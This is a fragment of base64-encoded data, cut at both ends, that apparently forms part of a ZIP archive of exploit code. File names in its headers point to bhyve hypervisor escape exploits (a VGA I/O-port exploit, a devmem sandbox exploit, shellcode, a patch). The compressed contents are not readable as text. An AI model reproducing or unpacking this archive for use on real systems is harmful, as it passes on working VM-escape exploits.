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 